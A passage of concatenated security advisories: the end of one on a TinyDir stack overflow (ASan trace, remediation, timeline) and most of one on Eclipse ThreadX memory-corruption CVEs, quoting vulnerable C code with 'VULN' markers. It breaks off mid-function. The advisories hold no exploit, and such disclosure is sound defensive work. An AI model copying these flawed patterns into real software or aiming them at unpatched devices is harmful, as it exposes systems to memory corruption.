offset 4704 in frame 210 | #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641 211 | 212 | This frame has 3 object(s): 213 | [48, 4184) 'dir' (line 642) 214 | [4448, 4704) 'file_name_buf' (line 646) 215 | [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable 216 | HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork 217 | (longjmp and C++ exceptions *are* supported) 218 | SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy 219 | Shadow bytes around the buggy address: 220 | 0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 221 | 0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 222 | 0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 223 | 0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 224 | 0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 225 | =>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00 226 | 0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 227 | 0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 228 | 0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 229 | 0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 230 | 0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 231 | Shadow byte legend (one shadow byte represents 8 application bytes): 232 | Addressable: 00 233 | Partially addressable: 01 02 03 04 05 06 07 234 | Heap left redzone: fa 235 | Freed heap region: fd 236 | Stack left redzone: f1 237 | Stack mid redzone: f2 238 | Stack right redzone: f3 239 | Stack after return: f5 240 | Stack use after scope: f8 241 | Global redzone: f9 242 | Global init order: f6 243 | Poisoned by user: f7 244 | Container overflow: fc 245 | Array cookie: ac 246 | Intra object redzone: bb 247 | ASan internal: fe 248 | Left alloca redzone: ca 249 | Right alloca redzone: cb 250 | Shadow gap: cc 251 | ==2533==ABORTING 252 | ``` 253 | 254 | 255 | --[ 5 - Affected products 256 | 257 | TinyDir 1.2.5 and earlier versions are affected by the vulnerabilities 258 | discussed in this advisory. 259 | 260 | 261 | --[ 6 - Remediation 262 | 263 | TinyDir developers have released version 1.2.6 [3] that addresses the 264 | vulnerabilities discussed in this advisory. 265 | 266 | Please check the official TinyDir channels for further information about 267 | fixes. 268 | 269 | 270 | --[ 7 - Disclosure timeline 271 | 272 | 2023-11-30: Vulnerabilities reported via GitHub security advisories [4]. 273 | 2023-12-01: Proof of concept provided at the request of TinyDir developers. 274 | 2023-12-02: Vulnerabilities fixed in TinyDir's master branch on GitHub. 275 | 2023-12-03: TinyDir 1.2.6 released and GitHub advisory published. 276 | 2023-12-04: GitHub issued CVE-2023-49287 and we published this advisory. 277 | 278 | 279 | --[ 8 - Acknowledgments 280 | 281 | We would like to thank TinyDir developers for triaging and quickly fixing 282 | the reported vulnerabilities. 283 | 284 | 285 | --[ 9 - References 286 | 287 | [1] https://github.com/cxong/tinydir 288 | [2] https://github.com/search?q=tinydir.h&type=code 289 | [3] https://github.com/cxong/tinydir/releases/tag/1.2.6 290 | [4] https://github.com/cxong/tinydir/security 291 | 292 | 293 | Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved. 294 | -------------------------------------------------------------------------------- /HNS-2024-06-threadx.txt: -------------------------------------------------------------------------------- 1 | --[ HNS-2024-06 - HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Multiple vulnerabilities in Eclipse ThreadX 4 | * OS: Eclipse ThreadX < 6.4.0 5 | * Author: Marco Ivaldi 6 | * Date: 2024-05-28 7 | * CVE IDs and severity: 8 | * CVE-2024-2214 - High - 7.0 - CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 9 | * CVE-2024-2212 - High - 7.3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L 10 | * CVE-2024-2452 - High - 7.0 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L 11 | * Advisory URLs: 12 | * https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-vmp6-qhp9-r66x 13 | * https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-v9jj-7qjg-h6g6 14 | * https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-h963-7vhw-8rpx 15 | * Vendor URL: https://threadx.io/ 16 | 17 | 18 | --[ 0 - Table of contents 19 | 20 | 1 - Summary 21 | 2 - Background 22 | 3 - Vulnerabilities 23 | 3.1 - CVE-2024-2214 - Ineffective array size check and static buffer overflow in Eclipse ThreadX 24 | 3.2 - CVE-2024-2212 - Integer wraparounds, under-allocations, and heap buffer overflows in in Eclipse ThreadX 25 | 3.3 - CVE-2024-2452 - Integer wraparound, under-allocation, and heap buffer overflow in Eclipse ThreadX NetX Duo 26 | 3.4 - Other bugs with potential security implications in Eclipse ThreadX NetX Duo and USBX 27 | 4 - Affected products 28 | 5 - Remediation 29 | 6 - Disclosure timeline 30 | 7 - Acknowledgments 31 | 8 - References 32 | 33 | 34 | --[ 1 - Summary 35 | 36 | "Why don’t you pick on projects your own size, 37 | quit tormenting the tiny ones!" 38 | -- The Grugq 39 | 40 | Azure RTOS was Microsoft's real-time operating system for IoT devices. At the 41 | beginning of 2024, Microsoft contributed the Azure RTOS technology to the 42 | Eclipse Foundation [1]. With the Eclipse Foundation as its new home, Azure RTOS 43 | was rebranded as Eclipse ThreadX. 44 | 45 | Eclipse ThreadX is an advanced embedded development suite including a small but 46 | powerful operating system that provides reliable, ultra-fast performance for 47 | resource-constrained devices. It offers a vendor-neutral, open source, safety 48 | certified OS for real-time applications, all under a permissive license. 49 | 50 | We reviewed ThreadX's source code hosted on GitHub [2] and identified multiple 51 | security vulnerabilities that may cause memory corruption. Their impacts range 52 | from denial of service to potential arbitrary code execution. 53 | 54 | 55 | --[ 2 - Background 56 | 57 | Continuing our recent vulnerability research work in the IoT space [3] [4] [5], 58 | we keep assisting open-source projects in finding and fixing vulnerabilities by 59 | reviewing their source code. In December 2023, Azure RTOS, which one month 60 | later was rebranded as Eclipse ThreadX, was selected as a target of interest. 61 | 62 | During the source code review, we made use of our Semgrep C/C++ ruleset [6] and 63 | weggli pattern collection [7] to identify hotspots in code on which to focus 64 | our attention. 65 | 66 | 67 | --[ 3 - Vulnerabilities 68 | 69 | The vulnerabilities resulting from our source code review are briefly described 70 | in the following sections. 71 | 72 | 73 | --[ 3.1 - CVE-2024-2214 - Ineffective array size check and static buffer overflow in Eclipse ThreadX 74 | 75 | In Eclipse ThreadX before version 6.4.0, the `_Mtxinit()` function in the 76 | Xtensa port was missing an array size check causing a memory overwrite. 77 | 78 | The vulnerability was spotted in the following file: 79 | * /ports/xtensa/xcc/src/tx_clib_lock.c 80 | 81 | There was no error handling in case `lcnt` >= `XT_NUM_CLIB_LOCKS`. The program 82 | would continue and the `tx_mutex_create()` would eventually corrupt memory by 83 | writing outside the bounds of the `xclib_locks` static array: 84 | ```c 85 | #ifdef TX_THREAD_SAFE_CLIB /* this file is only needed if using C lib */ 86 | ... 87 | #if XSHAL_CLIB == XTHAL_CLIB_XCLIB 88 | ... 89 | static TX_MUTEX xclib_locks[XT_NUM_CLIB_LOCKS]; 90 | static uint32_t lcnt; 91 | ... 92 | /**************************************************************************/ 93 | /* _Mtxinit - initialize a lock. Called once for each lock. */ 94 | /**************************************************************************/ 95 | void 96 | _Mtxinit (_Rmtx * mtx) 97 | { 98 | TX_MUTEX * lock; 99 | 100 | if (lcnt >= XT_NUM_CLIB_LOCKS) { // VULN: empty if() body 101 | /* Fatal error */ 102 | } 103 | 104 | lock = &(xclib_locks[lcnt]); 105 | lcnt++; 106 | 107 | /* See notes for newlib case below. */ 108 | #ifdef THREADX_TESTSUITE 109 | tx_mutex_create (lock, "Clib lock", 0); 110 | #else 111 | tx_mutex_create (lock, "Clib lock", TX_INHERIT); 112 | #endif 113 | 114 | *mtx = lock; 115 | } 116 | ``` 117 | 118 | Fixes: 119 | https://github.com/eclipse-threadx/threadx/pull/340 120 | 121 | See also: 122 | https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-vmp6-qhp9-r66x 123 | 124 | 125 | --[ 3.2 - CVE-2024-2212 - Integer wraparounds, under-allocations, and heap buffer overflows in in Eclipse ThreadX 126 | 127 | In Eclipse ThreadX before version 6.4.0, functions `xQueueCreate()` and 128 | `xQueueCreateSet()` from the FreeRTOS compatibility API were missing parameter 129 | checks. This could lead to integer wraparound, under-allocations, and heap 130 | buffer overflows. 131 | 132 | The vulnerabilities were spotted in the following file: 133 | * /utility/rtos_compatibility_layers/FreeRTOS/tx_freertos.c 134 | 135 | If an attacker could control `uxQueueLength` or `uxItemSize`, they could cause 136 | an integer wraparound thus causing `txfr_malloc()` to allocate a small amount 137 | of memory, exposing to subsequent heap buffer overflows (AKA BadAlloc-style 138 | memory corruption): 139 | ```c 140 | QueueHandle_t xQueueCreate(UBaseType_t uxQueueLength, UBaseType_t uxItemSize) 141 | { 142 | txfr_queue_t *p_queue; 143 | void *p_mem; 144 | size_t mem_size; 145 | UINT ret; 146 | 147 | configASSERT(uxQueueLength != 0u); 148 | configASSERT(uxItemSize >= sizeof(UINT)); 149 | 150 | #if (TX_FREERTOS_AUTO_INIT == 1) 151 | if(txfr_initialized != 1u) { 152 | tx_freertos_auto_init(); 153 | } 154 | #endif 155 | 156 | p_queue = txfr_malloc(sizeof(txfr_queue_t)); 157 | if(p_queue == NULL) { 158 | return NULL; 159 | } 160 | 161 | mem_size = uxQueueLength*(uxItemSize); 162 | 163 | p_mem = txfr_malloc(mem_size); // VULN: integer wraparound and under-allocation 164 | if(p_mem == NULL) { 165 | txfr_free(p_queue); 166 | return NULL; 167 | } 168 | 169 | TX_MEMSET(p_mem, 0, mem_size); 170 | TX_MEMSET(p_queue, 0, sizeof(*p_queue)); 171 | p_queue->allocated = 1u; 172 | p_queue->p_mem = p_mem; 173 | p_queue->id = TX_QUEUE_ID; 174 | 175 | p_queue->p_write = (uint8_t *)p_mem; 176 | p_queue->p_read = (uint8_t *)p_mem; 177 | p_queue->msg_size = uxItemSize; 178 | p_queue->queue_length = uxQueueLength; 179 | 180 | ret = tx_semaphore_create(&p_queue->read_sem, "", 0u); 181 | if(ret != TX_SUCCESS) { 182 | return NULL; 183 | } 184 | 185 | ret = tx_semaphore_create(&p_queue->write_sem, "", uxQueueLength); 186 | if(ret != TX_SUCCESS) { 187 | return NULL; 188 | } 189 | 190 | return p_queue; 191 | } 192 | ``` 193 | 194 | If an attacker could control `uxEventQueueLengthi`, they could cause an integer 195 | wraparound thus causing `txfr_malloc()` to allocate a small amount of memory, 196 | exposing to subsequent heap buffer overflows (AKA BadAlloc-style memory 197 | corruption): 198 | ```c 199 | QueueSetHandle_t xQueueCreateSet(const UBaseType_t uxEventQueueLength) 200 | { 201 | txfr_queueset_t *p_set; 202 | void *p_mem; 203 | ULONG queue_size; 204 | UINT ret; 205 | 206 | configASSERT(uxEventQueueLength != 0u); 207 | 208 | #if (TX_FREERTOS_AUTO_INIT == 1) 209 | if(txfr_initialized != 1u) { 210 | tx_freertos_auto_init(); 211 | } 212 | #endif 213 | 214 | p_set = txfr_malloc(sizeof(txfr_queueset_t)); 215 | if(p_set == NULL) { 216 | return NULL; 217 | } 218 | 219 | queue_size = sizeof(void *) * uxEventQueueLength; 220 | p_mem = txfr_malloc(queue_size); // VULN: integer wraparound and under-allocation 221 | if(p_mem == NULL) { 222 | txfr_free(p_set); 223 | return NULL; 224 | } 225 | 226 | ret = tx_queue_create(&p_set->queue, "", sizeof(void *) / sizeof(UINT), p_mem, queue_size); 227 | if(ret != TX_SUCCESS) { 228 | TX_FREERTOS_ASSERT_FAIL(); 229 | return NULL; 230 | } 231 | 232 | return p_set; 233 | } 234 | ``` 235 | 236 | These functions are part of an external API to be used by user's applications. 237 | The values of those parameters passed to the vulnerable functions depend on 238 | user's code. 239 | 240 | Fixes: 241 | https://github.com/eclipse-threadx/threadx/pull/339 242 | 243 | See also: 244 | https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-v9jj-7qjg-h6g6 245 | 246 | 247 | --[ 3.3 - CVE-2024-2452 - Integer wraparound, under-allocation, and heap buffer overflow in Eclipse ThreadX NetX Duo 248 | 249 | In Eclipse ThreadX NetX Duo before version 6.4.0, if an attacker could control 250 | the parameters of `__portable_aligned_alloc()` they could cause an integer 251 | wraparound and an allocation smaller than expected. This could cause subsequent 252 | heap buffer overflows. 253 | 254 | The vulnerability was spotted in the following file: 255 | * /addons/azure_iot/azure_iot_security_module/iot-security-module-core/deps/flatcc/include/flatcc/portable/paligned_alloc.h 256 | 257 | If an attacker could control the `size` or `alignment` arguments to the 258 | `__portable_aligned_alloc()` function, they could cause an integer wraparound 259 | thus causing `malloc()` to allocate a small amount of memory, exposing to 260 | subsequent heap buffer overflows (AKA BadAlloc-style memory corruption): 261 | ```c 262 | static inline void *__portable_aligned_alloc(size_t alignment, size_t size) 263 | { 264 | char *raw; 265 | void *buf; 266 | size_t total_size = (size + alignment - 1 + sizeof(void *)); // VULN: integer wraparound 267 | 268 | if (alignment < sizeof(void *)) { 269 | alignment = sizeof(void *); 270 | } 271 | raw = (char *)(size_t)malloc(total_size); // VULN: under-allocation BadAlloc style 272 | buf = raw + alignment - 1 + sizeof(void *); 273 | buf = (void *)(((size_t)buf) & ~(alignment - 1)); 274 | ((void **)buf)[-1] = raw; // malloc ret is not checked; in case NULL is returned the program would crash here 275 | return buf; 276 | } 277 | ``` 278 | 279 | We spotted the same vulnerability in Azure IoT Preview source code at: 280 | https://github.com/azure-rtos/azure-iot-preview/blob/master/azure_iot/azure_iot_security_module/iot-security-module-core/deps/flatcc/include/flatcc/portable/paligned_alloc.h 281 | 282 | The maintainers confirmed the vulnerability, but informed us that the Azure IoT 283 | Preview repository was not part of a product. Therefore, it was removed 284 | entirely. 285 | 286 | Fixes: 287 | https://github.com/eclipse-threadx/netxduo/pull/227 288 | 289 | See also: 290 | https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-h963-7vhw-8rpx 291 | 292 | 293 | --[ 3.4 - Other bugs with potential security implications in Eclipse ThreadX NetX Duo and USBX 294 | 295 | In addition to the vulnerabilities covered in the previous sections, we also 296 | reported a few other bugs with potential security implications that were not 297 | considered as vulnerabilities by Eclipse ThreadX maintainers. As such, our 298 | reports were declassed to standard issues for code improvement. 299 | 300 | The first one is an unsafe use of the return value of `snprintf()` that we 301 | observed in Eclipse ThreadX NetX Duo, in the following file: 302 | * /addons/azure_iot/nx_azure_iot_adu_agent.c 303 | 304 | The `snprintf()` API function returns the total length of the string it tried 305 | to create, which could be larger than the actual length written; if an attacker 306 | were able to craft input so that `update_id_length` became larger than 307 | `NX_AZURE_IOT_ADU_AGENT_UPDATE_MANIFEST_SIZE` and if the return value were used 308 | unsafely (e.g., as an array index) somewhere else in the code, memory 309 | corruption could have occured: 310 | ```c 311 | static UINT nx_azure_iot_adu_agent_reported_properties_state_send(NX_AZURE_IOT_ADU_AGENT *adu_agent_ptr) 312 | { 313 | 314 | NX_PACKET *packet_ptr; 315 | NX_AZURE_IOT_JSON_WRITER json_writer; 316 | NX_AZURE_IOT_ADU_AGENT_UPDATE_MANIFEST_CONTENT *manifest_content = &(adu_agent_ptr -> nx_azure_iot_adu_agent_update_manifest_content); 317 | UINT status; 318 | UINT result_code; 319 | UINT i; 320 | /* Prepare the buffer for step name: such as: "step_0", the max name is "step_xxx". */ 321 | CHAR step_property_name[8] = "step_"; 322 | UINT step_size = sizeof("step_") - 1; 323 | UINT step_property_name_size; 324 | UINT update_id_length; 325 | ... 326 | /* Fill installed update id. */ 327 | if ((adu_agent_ptr -> nx_azure_iot_adu_agent_state == NX_AZURE_IOT_ADU_AGENT_STATE_IDLE) && 328 | (adu_agent_ptr -> nx_azure_iot_adu_agent_update_manifest_content.steps_count)) 329 | { 330 | 331 | /* Use nx_azure_iot_adu_agent_update_manifest as temporary buffer to encode the update id as string.*/ 332 | update_id_length = (UINT)snprintf((CHAR *)adu_agent_ptr -> nx_azure_iot_adu_agent_update_manifest, 333 | NX_AZURE_IOT_ADU_AGENT_UPDATE_MANIFEST_SIZE, 334 | "{\"%.*s\":\"%.*s\",\"%.*s\":\"%.*s\",\"%.*s\":\"%.*s\"}", 335 | sizeof(NX_AZURE_IOT_ADU_AGENT_PROPERTY_NAME_PROVIDER) - 1, 336 | NX_AZURE_IOT_ADU_AGENT_PROPERTY_NAME_PROVIDER, 337 | manifest_content -> update_id.provider_length, manifest_content -> update_id.provider, 338 | sizeof(NX_AZURE_IOT_ADU_AGENT_PROPERTY_NAME_NAME) - 1, 339 | NX_AZURE_IOT_ADU_AGENT_PROPERTY_NAME_NAME, 340 | manifest_content -> update_id.name_length, manifest_content -> update_id.name, 341 | sizeof(NX_AZURE_IOT_ADU_AGENT_PROPERTY_NAME_VERSION) - 1, 342 | NX_AZURE_IOT_ADU_AGENT_PROPERTY_NAME_VERSION, 343 | manifest_content -> update_id.version_length, manifest_content -> update_id.version); // VULN: unsafe use of snprintf() return value 344 | 345 | if (nx_azure_iot_json_writer_append_property_with_string_value(&json_writer, 346 | (const UCHAR *)NX_AZURE_IOT_ADU_AGENT_PROPERTY_NAME_INSTALLED_CONTENT_ID, 347 | sizeof(NX_AZURE_IOT_ADU_AGENT_PROPERTY_NAME_INSTALLED_CONTENT_ID) - 1, 348 | adu_agent_ptr -> nx_azure_iot_adu_agent_update_manifest, 349 | update_id_length)) // VULN: potentially large length is used to populate the "installedUpdateId" JSON property 350 | { 351 | nx_packet_release(packet_ptr); 352 | return (NX_NOT_SUCCESSFUL); 353 | } 354 | } 355 | ... 356 | ``` 357 | 358 | We also spotted some potentially ineffective size checks due to assertions in 359 | Eclipse ThreadX USBX, in the following files: 360 | * /common/core/src/ux_hcd_sim_host_transaction_schedule.c 361 | * /common/usbx_device_classes/src/ux_device_class_audio20_control_process.c 362 | 363 | If assertions were compiled-out in production code and `td -> 364 | ux_sim_host_td_length` was attacker-controlled, the `_ux_utility_memory_copy()` 365 | function would have been able to write past the `slave_transfer_request -> 366 | ux_slave_transfer_request_setup` fixed-size (8 bytes) buffer: 367 | ```c 368 | UINT _ux_hcd_sim_host_transaction_schedule(UX_HCD_SIM_HOST *hcd_sim_host, UX_HCD_SIM_HOST_ED *ed) 369 | { 370 | 371 | UX_DCD_SIM_SLAVE *dcd_sim_slave; 372 | UX_HCD_SIM_HOST_TD *td; 373 | UX_HCD_SIM_HOST_TD *head_td; 374 | UX_HCD_SIM_HOST_TD *tail_td; 375 | UX_HCD_SIM_HOST_TD *data_td; 376 | UX_ENDPOINT *endpoint; 377 | UX_SLAVE_ENDPOINT *slave_endpoint; 378 | UX_DCD_SIM_SLAVE_ED *slave_ed; 379 | ULONG slave_transfer_remaining; 380 | UCHAR wake_host; 381 | UCHAR wake_slave; 382 | ULONG transaction_length; 383 | ULONG td_length; 384 | UX_SLAVE_TRANSFER *slave_transfer_request; 385 | UX_TRANSFER *transfer_request; 386 | ULONG endpoint_index; 387 | UX_SLAVE_DCD *dcd; 388 | 389 | UX_PARAMETER_NOT_USED(hcd_sim_host); 390 | 391 | /* Get the pointer to the DCD portion of the simulator. */ 392 | dcd = &_ux_system_slave -> ux_system_slave_dcd; 393 | 394 | /* Check the state of the controller if OPERATIONAL . */ 395 | if (dcd -> ux_slave_dcd_status != UX_DCD_STATUS_OPERATIONAL) 396 | return(UX_ERROR); 397 | 398 | /* Get the pointer to the candidate TD on the host. */ 399 | td = ed -> ux_sim_host_ed_head_td; 400 | 401 | /* Get the pointer to the endpoint. */ 402 | endpoint = ed -> ux_sim_host_ed_endpoint; 403 | 404 | /* Get the pointer to the transfer_request attached with this TD. */ 405 | transfer_request = td -> ux_sim_host_td_transfer_request; 406 | 407 | /* Get the index of the endpoint from the host. */ 408 | endpoint_index = endpoint -> ux_endpoint_descriptor.bEndpointAddress & ~(ULONG)UX_ENDPOINT_DIRECTION; 409 | 410 | /* Get the address of the device controller. */ 411 | dcd_sim_slave = (UX_DCD_SIM_SLAVE *) dcd -> ux_slave_dcd_controller_hardware; 412 | 413 | /* Get the endpoint as seen from the device side. */ 414 | #ifdef UX_DEVICE_BIDIRECTIONAL_ENDPOINT_SUPPORT 415 | slave_ed = ((endpoint -> ux_endpoint_descriptor.bEndpointAddress == 0) ? 416 | &dcd_sim_slave -> ux_dcd_sim_slave_ed[0] : 417 | ((endpoint -> ux_endpoint_descriptor.bEndpointAddress & UX_ENDPOINT_DIRECTION) ? 418 | &dcd_sim_slave -> ux_dcd_sim_slave_ed_in[endpoint_index] : 419 | &dcd_sim_slave -> ux_dcd_sim_slave_ed[endpoint_index])); 420 | #else 421 | slave_ed = &dcd_sim_slave -> ux_dcd_sim_slave_ed[endpoint_index]; 422 | #endif 423 | 424 | /* Is this ED used? */ 425 | if ((slave_ed -> ux_sim_slave_ed_status & UX_DCD_SIM_SLAVE_ED_STATUS_USED) == 0) 426 | return(UX_ERROR); 427 | 428 | /* Is this ED ready for transaction or stalled ? */ 429 | if ((slave_ed -> ux_sim_slave_ed_status & (UX_DCD_SIM_SLAVE_ED_STATUS_TRANSFER | UX_DCD_SIM_SLAVE_ED_STATUS_STALLED)) == 0) 430 | return(UX_ERROR); 431 | 432 | /* Get the logical endpoint from the physical endpoint. */ 433 | slave_endpoint = slave_ed -> ux_sim_slave_ed_endpoint; 434 | 435 | /* Get the pointer to the transfer request. */ 436 | slave_transfer_request = &slave_endpoint -> ux_slave_endpoint_transfer_request; 437 | 438 | /* Check the phase for this transfer, if this is the SETUP phase, treatment is different. Explanation of how 439 | control transfers are handled in the simulator: if the data phase is OUT, we handle it immediately, meaning we 440 | send all the data to the device and remove the STATUS TD in the same scheduler call. If the data phase is IN, we 441 | only take out the SETUP TD and handle the data phase like any other non-control transactions (i.e. the scheduler 442 | calls us again with the DATA TDs). */ 443 | if (td -> ux_sim_host_td_status & UX_HCD_SIM_HOST_TD_SETUP_PHASE) 444 | { 445 | 446 | /* For control transfer, stall is for protocol error and it's cleared any time when SETUP is received */ 447 | slave_ed -> ux_sim_slave_ed_status &= ~(ULONG)UX_DCD_SIM_SLAVE_ED_STATUS_STALLED; 448 | 449 | /* Validate the length to the setup transaction buffer. */ 450 | UX_ASSERT(td -> ux_sim_host_td_length == 8); // VULN: if assertions are compiled-out in production code, this check is ineffective 451 | 452 | /* Reset actual data length (not including SETUP received) so far. */ 453 | slave_transfer_request -> ux_slave_transfer_request_actual_length = 0; 454 | 455 | /* Move the buffer from the host TD to the device TD. */ 456 | _ux_utility_memory_copy(slave_transfer_request -> ux_slave_transfer_request_setup, 457 | td -> ux_sim_host_td_buffer, 458 | td -> ux_sim_host_td_length); /* Use case of memcpy is verified. */ // VULN: potential buffer overflow due to ineffective size check 459 | ``` 460 | 461 | If assertions were compiled-out in production code and `data_length` was 462 | attacker-controlled, the `_ux_utility_memory_copy()` function would have been 463 | able to write past the `transfer -> ux_slave_transfer_request_data_pointer` 464 | buffer: 465 | ```c 466 | ... 467 | UINT _ux_device_class_audio20_control_process(UX_DEVICE_CLASS_AUDIO *audio, 468 | UX_SLAVE_TRANSFER *transfer, 469 | UX_DEVICE_CLASS_AUDIO20_CONTROL_GROUP *group) 470 | { 471 | 472 | UX_SLAVE_ENDPOINT *endpoint; 473 | UX_DEVICE_CLASS_AUDIO20_CONTROL *control; 474 | UCHAR request; 475 | UCHAR request_type; 476 | UCHAR unit_id; 477 | UCHAR control_selector; 478 | UCHAR channel_number; 479 | ULONG request_length; 480 | ULONG data_length; 481 | ULONG i; 482 | ULONG n_sub, pos, min, max, res, freq; 483 | 484 | /* Get instances. */ 485 | endpoint = &audio -> ux_device_class_audio_device -> ux_slave_device_control_endpoint; 486 | transfer = &endpoint -> ux_slave_endpoint_transfer_request; 487 | 488 | /* Extract all necessary fields of the request. */ 489 | request = *(transfer -> ux_slave_transfer_request_setup + UX_DEVICE_CLASS_AUDIO_REQUEST_REQUEST); 490 | request_type = *(transfer -> ux_slave_transfer_request_setup + UX_DEVICE_CLASS_AUDIO_REQUEST_REQUEST_TYPE); 491 | unit_id = *(transfer -> ux_slave_transfer_request_setup + UX_DEVICE_CLASS_AUDIO_REQUEST_ENEITY_ID); 492 | control_selector = *(transfer -> ux_slave_transfer_request_setup + UX_DEVICE_CLASS_AUDIO_REQUEST_CONTROL_SELECTOR); 493 | channel_number = *(transfer -> ux_slave_transfer_request_setup + UX_DEVICE_CLASS_AUDIO_REQUEST_CHANNEL_NUMBER); 494 | request_length = _ux_utility_short_get(transfer -> ux_slave_transfer_request_setup + UX_SETUP_LENGTH); 495 | 496 | for (i = 0; i < group -> ux_device_class_audio20_control_group_controls_nb; i ++) 497 | { 498 | control = &group -> ux_device_class_audio20_control_group_controls[i]; 499 | 500 | /* Reset change map. */ 501 | control -> ux_device_class_audio20_control_changed = 0; 502 | 503 | /* Is this request a clock unit request? */ 504 | if (unit_id == control -> ux_device_class_audio20_control_cs_id) 505 | { 506 | 507 | /* Clock Source request. 508 | * We only support Sampling Frequency Control here. 509 | * The Sampling Frequency Control must support the CUR and RANGE(MIN, MAX, RES) attributes. 510 | */ 511 | ... 512 | /* We just support sampling frequency control, GET request. */ 513 | if ((request_type & UX_REQUEST_DIRECTION) == UX_REQUEST_IN && 514 | (control_selector == UX_DEVICE_CLASS_AUDIO20_CS_SAM_FREQ_CONTROL)) 515 | { 516 | 517 | switch(request) 518 | { 519 | case UX_DEVICE_CLASS_AUDIO20_CUR: 520 | 521 | /* Check request parameter. */ 522 | if (request_length < 4) 523 | break; 524 | 525 | /* Send sampling frequency. */ 526 | if (control -> ux_device_class_audio20_control_sampling_frequency) 527 | _ux_utility_long_put(transfer -> ux_slave_transfer_request_data_pointer, control -> ux_device_class_audio20_control_sampling_frequency); 528 | else 529 | _ux_utility_long_put(transfer -> ux_slave_transfer_request_data_pointer, control -> ux_device_class_audio20_control_sampling_frequency_cur); 530 | _ux_device_stack_transfer_request(transfer, 4, request_length); 531 | return(UX_SUCCESS); 532 | 533 | case UX_DEVICE_CLASS_AUDIO20_RANGE: 534 | 535 | /* Check request parameter. */ 536 | if (request_length < 2) 537 | break; 538 | 539 | if (control -> ux_device_class_audio20_control_sampling_frequency == 0) 540 | { 541 | 542 | /* Send range parameters, RANGE is customized. */ 543 | UX_ASSERT(control -> ux_device_class_audio20_control_sampling_frequency_range != UX_NULL); 544 | 545 | /* Get wNumSubRanges. */ 546 | n_sub = _ux_utility_short_get(control -> ux_device_class_audio20_control_sampling_frequency_range); 547 | UX_ASSERT(n_sub > 0); 548 | 549 | /* Calculate length, n_sub is 16-bit width, result not overflows ULONG. */ 550 | data_length = 2 + n_sub * 12; 551 | UX_ASSERT(data_length <= UX_SLAVE_REQUEST_CONTROL_MAX_LENGTH); // VULN: if assertions are compiled-out in production code, this check is ineffective 552 | 553 | /* Copy data. */ 554 | data_length = UX_MIN(data_length, request_length); 555 | _ux_utility_memory_copy(transfer -> ux_slave_transfer_request_data_pointer, 556 | control -> ux_device_class_audio20_control_sampling_frequency_range, 557 | data_length); /* Use case of memcpy is verified. */ // VULN: potential buffer overflow due to ineffective size check 558 | ... 559 | ``` 560 | 561 | Please note that there may be other instances/variants of these last bugs. 562 | Therefore, a thorough assessment of all assertions used to check buffer sizes 563 | in Eclipse ThreadX codebase is recommended. 564 | 565 | Finally, in Eclipse ThreadX USBX before pull request #161 was merged, there was 566 | a memory copy with unchecked size in the 567 | `_ux_host_class_pima_storage_info_get()` function in the following file: 568 | * /common/usbx_host_classes/src/ux_host_class_pima_storage_info_get.c 569 | 570 | There was no size check for the two memory copy operations via the 571 | `_ux_utility_memory_copy()` function marked below. Therefore, a write past the 572 | end of the fixed size (256 bytes) buffer `storage -> 573 | ux_host_class_pima_storage_description` could have occured: 574 | ```c 575 | UINT _ux_host_class_pima_storage_info_get(UX_HOST_CLASS_PIMA *pima, 576 | UX_HOST_CLASS_PIMA_SESSION *pima_session, 577 | ULONG storage_id, UX_HOST_CLASS_PIMA_STORAGE *storage) 578 | { 579 | 580 | UX_HOST_CLASS_PIMA_COMMAND command; 581 | UINT status; 582 | UCHAR *storage_buffer; 583 | UCHAR *storage_pointer; 584 | ULONG unicode_string_length; 585 | 586 | /* If trace is enabled, insert this event into the trace buffer. */ 587 | UX_TRACE_IN_LINE_INSERT(UX_TRACE_HOST_CLASS_PIMA_STORAGE_INFO_GET, pima, storage_id, storage, 0, UX_TRACE_HOST_CLASS_EVENTS, 0, 0) 588 | 589 | /* Check if this session is valid or not. */ 590 | if (pima_session -> ux_host_class_pima_session_magic != UX_HOST_CLASS_PIMA_MAGIC_NUMBER) 591 | return (UX_HOST_CLASS_PIMA_RC_SESSION_NOT_OPEN); 592 | 593 | /* Check if this session is opened or not. */ 594 | if (pima_session -> ux_host_class_pima_session_state != UX_HOST_CLASS_PIMA_SESSION_STATE_OPENED) 595 | return (UX_HOST_CLASS_PIMA_RC_SESSION_NOT_OPEN); 596 | 597 | /* Issue command to get the storage IDs. 1 parameter. */ 598 | command.ux_host_class_pima_command_nb_parameters = 1; 599 | 600 | /* Parameter 1 is the Storage ID. */ 601 | command.ux_host_class_pima_command_parameter_1 = storage_id; 602 | 603 | /* Other parameters unused. */ 604 | command.ux_host_class_pima_command_parameter_2 = 0; 605 | 